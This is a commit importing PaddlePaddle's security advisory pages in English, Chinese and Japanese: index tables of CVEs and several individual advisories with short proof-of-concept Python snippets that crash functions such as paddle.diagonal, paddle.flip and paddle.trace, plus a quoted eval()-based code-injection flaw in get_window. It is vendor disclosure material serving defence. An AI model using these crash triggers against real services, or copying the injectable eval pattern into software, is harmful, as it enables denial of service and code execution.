chore: import upstream snapshot with attribution
This commit is contained in:
wehub-resource-sync
@@ -0,0 +1,36 @@
|
||||
# PaddlePaddle Security Advisories
|
||||
|
||||
We regularly publish security advisories about using PaddlePaddle.
|
||||
|
||||
|
||||
|
||||
*Note*: In conjunction with these security advisories, we strongly encourage PaddlePaddle users to read and understand PaddlePaddle's security model as outlined in [SECURITY.md](../SECURITY.md).
|
||||
|
||||
|
||||
| Advisory Number | Type | Versions affected | Reported by | Additional Information |
|
||||
|----------------------------------------------|------------------------------------------------------|:-----------------:|-----------------------------------------------------------------|------------------------|
|
||||
| [PDSA-2023-023](./advisory/pdsa-2023-023.md) | Command injection in convert_shape_compare | < 2.6.0 | leeya_bug | |
|
||||
| [PDSA-2023-022](./advisory/pdsa-2023-022.md) | FPE in paddle.argmin and paddle.argmax | < 2.6.0 | Peng Zhou (zpbrent) from Shanghai University | |
|
||||
| [PDSA-2023-021](./advisory/pdsa-2023-021.md) | Null pointer dereference in paddle.crop | < 2.6.0 | Peng Zhou (zpbrent) from Shanghai University | |
|
||||
| [PDSA-2023-020](./advisory/pdsa-2023-020.md) | Command injection in _wget_download | < 2.6.0 | huntr.com | |
|
||||
| [PDSA-2023-019](./advisory/pdsa-2023-019.md) | Command injection in get_online_pass_interval | < 2.6.0 | huntr.com and leeya_bug | |
|
||||
| [PDSA-2023-018](./advisory/pdsa-2023-018.md) | Heap buffer overflow in paddle.repeat_interleave | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-017](./advisory/pdsa-2023-017.md) | FPE in paddle.amin | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-016](./advisory/pdsa-2023-016.md) | Stack overflow in paddle.linalg.lu_unpack | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-015](./advisory/pdsa-2023-015.md) | FPE in paddle.lerp | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-014](./advisory/pdsa-2023-014.md) | FPE in paddle.topk | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-013](./advisory/pdsa-2023-013.md) | Stack overflow in paddle.searchsorted | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-012](./advisory/pdsa-2023-012.md) | Segfault in paddle.put_along_axis | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-011](./advisory/pdsa-2023-011.md) | Null pointer dereference in paddle.nextafter | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-010](./advisory/pdsa-2023-010.md) | Segfault in paddle.mode | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-009](./advisory/pdsa-2023-009.md) | FPE in paddle.linalg.eig | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-008](./advisory/pdsa-2023-008.md) | Segfault in paddle.dot | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-007](./advisory/pdsa-2023-007.md) | FPE in paddle.linalg.matrix_rank | < 2.6.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-006](./advisory/pdsa-2023-006.md) | FPE in paddle.nanmedian | < 2.6.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-005](./advisory/pdsa-2023-005.md) | Command injection in fs.py | < 2.5.0 | Xiaochen Guo from Huazhong University of Science and Technology | |
|
||||
| [PDSA-2023-004](./advisory/pdsa-2023-004.md) | FPE in paddle.linalg.matrix_power | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-003](./advisory/pdsa-2023-003.md) | Heap buffer overflow in paddle.trace | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-002](./advisory/pdsa-2023-002.md) | Null pointer dereference in paddle.flip | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-001](./advisory/pdsa-2023-001.md) | Use after free in paddle.diagonal | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2022-002](./advisory/pdsa-2022-002.md) | Code injection in paddle.audio.functional.get_window | = 2.4.0-rc0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2022-001](./advisory/pdsa-2022-001.md) | OOB read in gather_tree | < 2.4 | Wang Xuan(王旋) of Qihoo 360 AIVul Team | |
|
||||
@@ -0,0 +1,36 @@
|
||||
# 飞桨安全公告
|
||||
|
||||
我们在此定期发布飞桨安全公告。
|
||||
|
||||
|
||||
|
||||
*注*：我们非常建议飞桨用户阅读和理解[SECURITY_cn.md](../SECURITY_cn.md)所介绍的飞桨安全模型，以便更好地了解此安全公告。
|
||||
|
||||
|
||||
| 安全公告编号 | 类型 | 受影响版本 | 报告者 | 备注 |
|
||||
|-------------------------------------------------|------------------------------------------------------|:-----------:|-----------------------------------------------------------------|----|
|
||||
| [PDSA-2023-023](./advisory/pdsa-2023-023_cn.md) | Command injection in convert_shape_compare | < 2.6.0 | leeya_bug | |
|
||||
| [PDSA-2023-022](./advisory/pdsa-2023-022_cn.md) | FPE in paddle.argmin and paddle.argmax | < 2.6.0 | Peng Zhou (zpbrent) from Shanghai University | |
|
||||
| [PDSA-2023-021](./advisory/pdsa-2023-021_cn.md) | Null pointer dereference in paddle.crop | < 2.6.0 | Peng Zhou (zpbrent) from Shanghai University | |
|
||||
| [PDSA-2023-020](./advisory/pdsa-2023-020_cn.md) | Command injection in _wget_download | < 2.6.0 | huntr.com | |
|
||||
| [PDSA-2023-019](./advisory/pdsa-2023-019_cn.md) | Command injection in get_online_pass_interval | < 2.6.0 | huntr.com and leeya_bug | |
|
||||
| [PDSA-2023-018](./advisory/pdsa-2023-018_cn.md) | Heap buffer overflow in paddle.repeat_interleave | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-017](./advisory/pdsa-2023-017_cn.md) | FPE in paddle.amin | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-016](./advisory/pdsa-2023-016_cn.md) | Stack overflow in paddle.linalg.lu_unpack | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-015](./advisory/pdsa-2023-015_cn.md) | FPE in paddle.lerp | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-014](./advisory/pdsa-2023-014_cn.md) | FPE in paddle.topk | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-013](./advisory/pdsa-2023-013_cn.md) | Stack overflow in paddle.searchsorted | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-012](./advisory/pdsa-2023-012_cn.md) | Segfault in paddle.put_along_axis | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-011](./advisory/pdsa-2023-011_cn.md) | Null pointer dereference in paddle.nextafter | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-010](./advisory/pdsa-2023-010_cn.md) | Segfault in paddle.mode | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-009](./advisory/pdsa-2023-009_cn.md) | FPE in paddle.linalg.eig | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-008](./advisory/pdsa-2023-008_cn.md) | Segfault in paddle.dot | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-007](./advisory/pdsa-2023-007_cn.md) | FPE in paddle.linalg.matrix_rank | < 2.6.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-006](./advisory/pdsa-2023-006_cn.md) | FPE in paddle.nanmedian | < 2.6.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-005](./advisory/pdsa-2023-005_cn.md) | Command injection in fs.py | < 2.5.0 | Xiaochen Guo from Huazhong University of Science and Technology | |
|
||||
| [PDSA-2023-004](./advisory/pdsa-2023-004_cn.md) | FPE in paddle.linalg.matrix_power | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-003](./advisory/pdsa-2023-003_cn.md) | Heap buffer overflow in paddle.trace | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-002](./advisory/pdsa-2023-002_cn.md) | Null pointer dereference in paddle.flip | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-001](./advisory/pdsa-2023-001_cn.md) | Use after free in paddle.diagonal | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2022-002](./advisory/pdsa-2022-002_cn.md) | Code injection in paddle.audio.functional.get_window | = 2.4.0-rc0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2022-001](./advisory/pdsa-2022-001_cn.md) | OOB read in gather_tree | < 2.4 | Wang Xuan(王旋) of Qihoo 360 AIVul Team | |
|
||||
@@ -0,0 +1,36 @@
|
||||
# PaddlePaddle セキュリティ勧告
|
||||
|
||||
PaddlePaddle の使用に関するセキュリティ勧告を定期的に発表しています。
|
||||
|
||||
|
||||
|
||||
*注*: これらのセキュリティ勧告と併せ、PaddlePaddle ユーザーには [SECURITY.md](../SECURITY_ja.md) に記載されている PaddlePaddle のセキュリティモデルを読み、理解することを強くお勧めします。
|
||||
|
||||
|
||||
| アドバイザリー番号 | タイプ | 対象バージョン | 報告者 | 追加情報 |
|
||||
|----------------------------------------------|------------------------------------------------------|:-----------:|-----------------------------------------------------------------|------|
|
||||
| [PDSA-2023-023](./advisory/pdsa-2023-023.md) | Command injection in convert_shape_compare | < 2.6.0 | leeya_bug | |
|
||||
| [PDSA-2023-022](./advisory/pdsa-2023-022.md) | FPE in paddle.argmin and paddle.argmax | < 2.6.0 | Peng Zhou (zpbrent) from Shanghai University | |
|
||||
| [PDSA-2023-021](./advisory/pdsa-2023-021.md) | Null pointer dereference in paddle.crop | < 2.6.0 | Peng Zhou (zpbrent) from Shanghai University | |
|
||||
| [PDSA-2023-020](./advisory/pdsa-2023-020.md) | Command injection in _wget_download | < 2.6.0 | huntr.com | |
|
||||
| [PDSA-2023-019](./advisory/pdsa-2023-019.md) | Command injection in get_online_pass_interval | < 2.6.0 | huntr.com and leeya_bug | |
|
||||
| [PDSA-2023-018](./advisory/pdsa-2023-018.md) | Heap buffer overflow in paddle.repeat_interleave | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-017](./advisory/pdsa-2023-017.md) | FPE in paddle.amin | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-016](./advisory/pdsa-2023-016.md) | Stack overflow in paddle.linalg.lu_unpack | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-015](./advisory/pdsa-2023-015.md) | FPE in paddle.lerp | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-014](./advisory/pdsa-2023-014.md) | FPE in paddle.topk | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-013](./advisory/pdsa-2023-013.md) | Stack overflow in paddle.searchsorted | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-012](./advisory/pdsa-2023-012.md) | Segfault in paddle.put_along_axis | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-011](./advisory/pdsa-2023-011.md) | Null pointer dereference in paddle.nextafter | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-010](./advisory/pdsa-2023-010.md) | Segfault in paddle.mode | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-009](./advisory/pdsa-2023-009.md) | FPE in paddle.linalg.eig | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-008](./advisory/pdsa-2023-008.md) | Segfault in paddle.dot | < 2.6.0 | Tong Liu of CAS-IIE | |
|
||||
| [PDSA-2023-007](./advisory/pdsa-2023-007.md) | FPE in paddle.linalg.matrix_rank | < 2.6.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-006](./advisory/pdsa-2023-006.md) | FPE in paddle.nanmedian | < 2.6.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-005](./advisory/pdsa-2023-005.md) | Command injection in fs.py | < 2.5.0 | Xiaochen Guo from Huazhong University of Science and Technology | |
|
||||
| [PDSA-2023-004](./advisory/pdsa-2023-004.md) | FPE in paddle.linalg.matrix_power | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-003](./advisory/pdsa-2023-003.md) | Heap buffer overflow in paddle.trace | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-002](./advisory/pdsa-2023-002.md) | Null pointer dereference in paddle.flip | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2023-001](./advisory/pdsa-2023-001.md) | Use after free in paddle.diagonal | < 2.5.0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2022-002](./advisory/pdsa-2022-002.md) | Code injection in paddle.audio.functional.get_window | = 2.4.0-rc0 | Tong Liu of ShanghaiTech University | |
|
||||
| [PDSA-2022-001](./advisory/pdsa-2022-001.md) | OOB read in gather_tree | < 2.4 | Wang Xuan(王旋) of Qihoo 360 AIVul Team | |
|
||||
@@ -0,0 +1,53 @@
|
||||
## PDSA-2022-001: OOB read in gather_tree
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2022-46741
|
||||
|
||||
### Impact
|
||||
|
||||
The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import paddle.base as fluid
|
||||
import numpy as np
|
||||
|
||||
ids = paddle.to_tensor([[2,2],[6,1]])
|
||||
parents = paddle.to_tensor([[2,2],[6,1]])
|
||||
|
||||
out = paddle.nn.functional.gather_tree(ids,parents)
|
||||
```
|
||||
|
||||
The [implementation](https://github.com/PaddlePaddle/Paddle/blob/release/2.3/paddle/phi/kernels/cpu/gather_tree_kernel.cc#L31-L33) of GatherTreeKernel does not validate the ids_dims size which would result in a memory out-of-bounds read if the ids shape is invalid.
|
||||
|
||||
```c++
|
||||
template <typename T, typename Context>
|
||||
void GatherTreeKernel(const Context &dev_ctx,
|
||||
const DenseTensor &ids,
|
||||
const DenseTensor &parents,
|
||||
DenseTensor *out) {
|
||||
const auto *ids_data = ids.data<T>();
|
||||
const auto *parents_data = parents.data<T>();
|
||||
|
||||
T *out_data = dev_ctx.template Alloc<T>(out);
|
||||
|
||||
auto &ids_dims = ids.dims();
|
||||
auto max_length = ids_dims[0];
|
||||
auto batch_size = ids_dims[1];
|
||||
auto beam_size = ids_dims[2]; //[1]
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [ee6e6d511f9f33fc862c11722701fb5abb99ed94](https://github.com/PaddlePaddle/Paddle/commit/ee6e6d511f9f33fc862c11722701fb5abb99ed94).
|
||||
|
||||
The fix will be included in PaddlePaddle 2.4.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Wang Xuan(王旋) of Qihoo 360 AIVul Team.
|
||||
@@ -0,0 +1,53 @@
|
||||
## PDSA-2022-001: OOB read in gather_tree
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2022-46741
|
||||
|
||||
### 影响
|
||||
|
||||
PoC如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import paddle.base as fluid
|
||||
import numpy as np
|
||||
|
||||
ids = paddle.to_tensor([[2,2],[6,1]])
|
||||
parents = paddle.to_tensor([[2,2],[6,1]])
|
||||
|
||||
out = paddle.nn.functional.gather_tree(ids,parents)
|
||||
```
|
||||
|
||||
在GatherTreeKernel的[实现代码中](https://github.com/PaddlePaddle/Paddle/blob/release/2.3/paddle/phi/kernels/cpu/gather_tree_kernel.cc#L31-L33)，并没有检查ids_dims的大小，当输入非预期的ids，其shape不正确时会造成可能造成越界读ids_dims。
|
||||
|
||||
```c++
|
||||
template <typename T, typename Context>
|
||||
void GatherTreeKernel(const Context &dev_ctx,
|
||||
const DenseTensor &ids,
|
||||
const DenseTensor &parents,
|
||||
DenseTensor *out) {
|
||||
const auto *ids_data = ids.data<T>();
|
||||
const auto *parents_data = parents.data<T>();
|
||||
|
||||
T *out_data = dev_ctx.template Alloc<T>(out);
|
||||
|
||||
auto &ids_dims = ids.dims();
|
||||
auto max_length = ids_dims[0];
|
||||
auto batch_size = ids_dims[1];
|
||||
auto beam_size = ids_dims[2]; //[1]
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [ee6e6d511f9f33fc862c11722701fb5abb99ed94](https://github.com/PaddlePaddle/Paddle/commit/ee6e6d511f9f33fc862c11722701fb5abb99ed94)中对此问题进行了补丁。
|
||||
|
||||
修复将包含在飞桨2.4版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Wang Xuan(王旋) of Qihoo 360 AIVul Team 提交。
|
||||
@@ -0,0 +1,37 @@
|
||||
## PDSA-2022-002: Code injection in paddle.audio.functional.get_window
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2022-46742
|
||||
|
||||
### Impact
|
||||
|
||||
`paddle.audio.functional.get_windowis` vulnerable to a code injection as it calls `eval` on user supplied `winstr`. This may lead to arbitrary code execution.
|
||||
|
||||
```python
|
||||
def get_window(
|
||||
window: Union[str, Tuple[str, float]],
|
||||
win_length: int,
|
||||
fftbins: bool = True,
|
||||
dtype: str = 'float64',
|
||||
) -> Tensor:
|
||||
...
|
||||
try:
|
||||
winfunc = eval('_' + winstr)
|
||||
except NameError as e:
|
||||
raise ValueError("Unknown window type.") from e
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [26c419ca386aeae3c461faf2b828d00b48e908eb](https://github.com/PaddlePaddle/Paddle/commit/26c419ca386aeae3c461faf2b828d00b48e908eb).
|
||||
|
||||
The fix will be included in PaddlePaddle 2.4.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of ShanghaiTech University.
|
||||
@@ -0,0 +1,37 @@
|
||||
## PDSA-2022-002: Code injection in paddle.audio.functional.get_window
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2022-46742
|
||||
|
||||
### 影响
|
||||
|
||||
`paddle.audio.functional.get_window`由于使用`eval`用户提供的参数`winstr`而存在代码注入漏洞，将导致任意代码执行。
|
||||
|
||||
```python
|
||||
def get_window(
|
||||
window: Union[str, Tuple[str, float]],
|
||||
win_length: int,
|
||||
fftbins: bool = True,
|
||||
dtype: str = 'float64',
|
||||
) -> Tensor:
|
||||
...
|
||||
try:
|
||||
winfunc = eval('_' + winstr)
|
||||
except NameError as e:
|
||||
raise ValueError("Unknown window type.") from e
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [26c419ca386aeae3c461faf2b828d00b48e908eb](https://github.com/PaddlePaddle/Paddle/commit/26c419ca386aeae3c461faf2b828d00b48e908eb)中对此问题进行了补丁。
|
||||
|
||||
修复将包含在飞桨2.4版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of ShanghaiTech University 提交。
|
||||
@@ -0,0 +1,35 @@
|
||||
## PDSA-2023-001: Use after free in paddle.diagonal
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38669
|
||||
|
||||
### Impact
|
||||
|
||||
Use after free in `paddle.diagonal`. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
from paddle import diagonal
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 1, 1, 1]).astype(np.int64))
|
||||
offset = paddle.to_tensor(np.random.uniform(-10, 0, []).astype(np.int32))
|
||||
axis1 = paddle.to_tensor(np.random.uniform(-1000000, 0, []).astype(np.int32))
|
||||
axis2 = paddle.to_tensor(np.random.uniform(-10000000, 0, []).astype(np.int32))
|
||||
|
||||
diagonal(x, offset, axis1, axis2)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [43981874f5e1683b855eab871092fa9be58d6a44](https://github.com/PaddlePaddle/Paddle/commit/43981874f5e1683b855eab871092fa9be58d6a44).
|
||||
The fix will be included in PaddlePaddle 2.5.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of ShanghaiTech University.
|
||||
@@ -0,0 +1,35 @@
|
||||
## PDSA-2023-001: Use after free in paddle.diagonal
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38669
|
||||
|
||||
### 影响
|
||||
|
||||
`paddle.diagonal`中存在use after free，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
from paddle import diagonal
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 1, 1, 1]).astype(np.int64))
|
||||
offset = paddle.to_tensor(np.random.uniform(-10, 0, []).astype(np.int32))
|
||||
axis1 = paddle.to_tensor(np.random.uniform(-1000000, 0, []).astype(np.int32))
|
||||
axis2 = paddle.to_tensor(np.random.uniform(-10000000, 0, []).astype(np.int32))
|
||||
|
||||
diagonal(x, offset, axis1, axis2)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [43981874f5e1683b855eab871092fa9be58d6a44](https://github.com/PaddlePaddle/Paddle/commit/43981874f5e1683b855eab871092fa9be58d6a44)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.5.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of ShanghaiTech University 提交。
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-002: Null pointer dereference in paddle.flip
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38670
|
||||
|
||||
### Impact
|
||||
|
||||
`paddle.flip` segfaults with a nullptr dereference. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
from paddle import flip
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 2, 3]).astype(np.int64)),
|
||||
axis = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [3, 3]).astype(np.int32))
|
||||
|
||||
flip(x, axis)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [ed96baeed19b4e11b6cbc2dcc6776245ba5fab13](https://github.com/PaddlePaddle/Paddle/commit/ed96baeed19b4e11b6cbc2dcc6776245ba5fab13).
|
||||
The fix will be included in PaddlePaddle 2.5.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of ShanghaiTech University.
|
||||
@@ -0,0 +1,33 @@
|
||||
## PDSA-2023-002: Null pointer dereference in paddle.flip
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38670
|
||||
|
||||
### 影响
|
||||
|
||||
`paddle.flip`中存在空指针解引用，将导致程序运行时崩溃，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
from paddle import flip
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 2, 3]).astype(np.int64)),
|
||||
axis = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [3, 3]).astype(np.int32))
|
||||
|
||||
flip(x, axis)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [ed96baeed19b4e11b6cbc2dcc6776245ba5fab13](https://github.com/PaddlePaddle/Paddle/commit/ed96baeed19b4e11b6cbc2dcc6776245ba5fab13)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.5.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of ShanghaiTech University 提交。
|
||||
@@ -0,0 +1,35 @@
|
||||
## PDSA-2023-003: Heap buffer overflow in paddle.trace
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38671
|
||||
|
||||
### Impact
|
||||
|
||||
`paddle.trace` has a heap buffer overflow. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
from paddle import trace
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-10, 10, [2, 2, 2]).astype(np.float64))
|
||||
offset = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.int32))
|
||||
axis1 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
|
||||
axis2 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
|
||||
|
||||
trace(x, offset, axis1, axis2)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [12549dfe3e87a4c30f852d2eca81d7f67c8daa87](https://github.com/PaddlePaddle/Paddle/commit/12549dfe3e87a4c30f852d2eca81d7f67c8daa87).
|
||||
The fix will be included in PaddlePaddle 2.5.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of ShanghaiTech University.
|
||||
@@ -0,0 +1,35 @@
|
||||
## PDSA-2023-003: Heap buffer overflow in paddle.trace
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38671
|
||||
|
||||
### 影响
|
||||
|
||||
`paddle.trace`中存在堆溢出漏洞，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
from paddle import trace
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-10, 10, [2, 2, 2]).astype(np.float64))
|
||||
offset = paddle.to_tensor(np.random.uniform(-10, 10, []).astype(np.int32))
|
||||
axis1 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
|
||||
axis2 = paddle.to_tensor(np.random.uniform(-6666666, -2, []).astype(np.int32))
|
||||
|
||||
trace(x, offset, axis1, axis2)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [12549dfe3e87a4c30f852d2eca81d7f67c8daa87](https://github.com/PaddlePaddle/Paddle/commit/12549dfe3e87a4c30f852d2eca81d7f67c8daa87)中对此问题进行了补丁。
|
||||
修复将包含在飞桨2.5.0版本当中。
|
||||
|
||||
### 更多信息
|
||||
|
||||
请参考我们的[安全指南](../../SECURITY_cn.md)以获得更多关于安全的信息，以及如何与我们联系问题。
|
||||
|
||||
### 贡献者
|
||||
|
||||
此漏洞由 Tong Liu of ShanghaiTech University 提交。
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-004: FPE in paddle.linalg.matrix_power
|
||||
|
||||
### CVE Number
|
||||
|
||||
CVE-2023-38672
|
||||
|
||||
### Impact
|
||||
|
||||
When dim contains 0, `paddle.linalg.matrix_power` will trigger a float point exception. The PoC is as follows:
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
from paddle.linalg import matrix_power
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 1, 0, 0]).astype(np.float32))
|
||||
|
||||
matrix_power(x, -1)
|
||||
```
|
||||
|
||||
### Patches
|
||||
|
||||
We have patched the issue in commit [09926af166b060c9a9845c309110d3baa82921fd](https://github.com/PaddlePaddle/Paddle/commit/09926af166b060c9a9845c309110d3baa82921fd).
|
||||
The fix will be included in PaddlePaddle 2.5.0.
|
||||
|
||||
### For more information
|
||||
|
||||
Please consult [our security guide](../../SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
|
||||
|
||||
### Attribution
|
||||
|
||||
This vulnerability has been reported by Tong Liu of ShanghaiTech University.
|
||||
@@ -0,0 +1,32 @@
|
||||
## PDSA-2023-004: FPE in paddle.linalg.matrix_power
|
||||
|
||||
### CVE编号
|
||||
|
||||
CVE-2023-38672
|
||||
|
||||
### 影响
|
||||
|
||||
当张量包含维度值为0的情况，`paddle.linalg.matrix_power`会触发除0异常，导致程序运行时崩溃，PoC代码如下：
|
||||
|
||||
```python
|
||||
import paddle
|
||||
import numpy as np
|
||||
from paddle.linalg import matrix_power
|
||||
|
||||
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 1, 0, 0]).astype(np.float32))
|
||||
|
||||
matrix_power(x, -1)
|
||||
```
|
||||
|
||||
### 补丁
|
||||
|
||||
我们在commit [09926af166b060c9a9845c309110d3baa82921fd](https://github.com/PaddlePaddle/Paddle/commit/09926af166b060c9a9845c309110d3baa82921fd)中对此问题进行了补丁。
|
||||
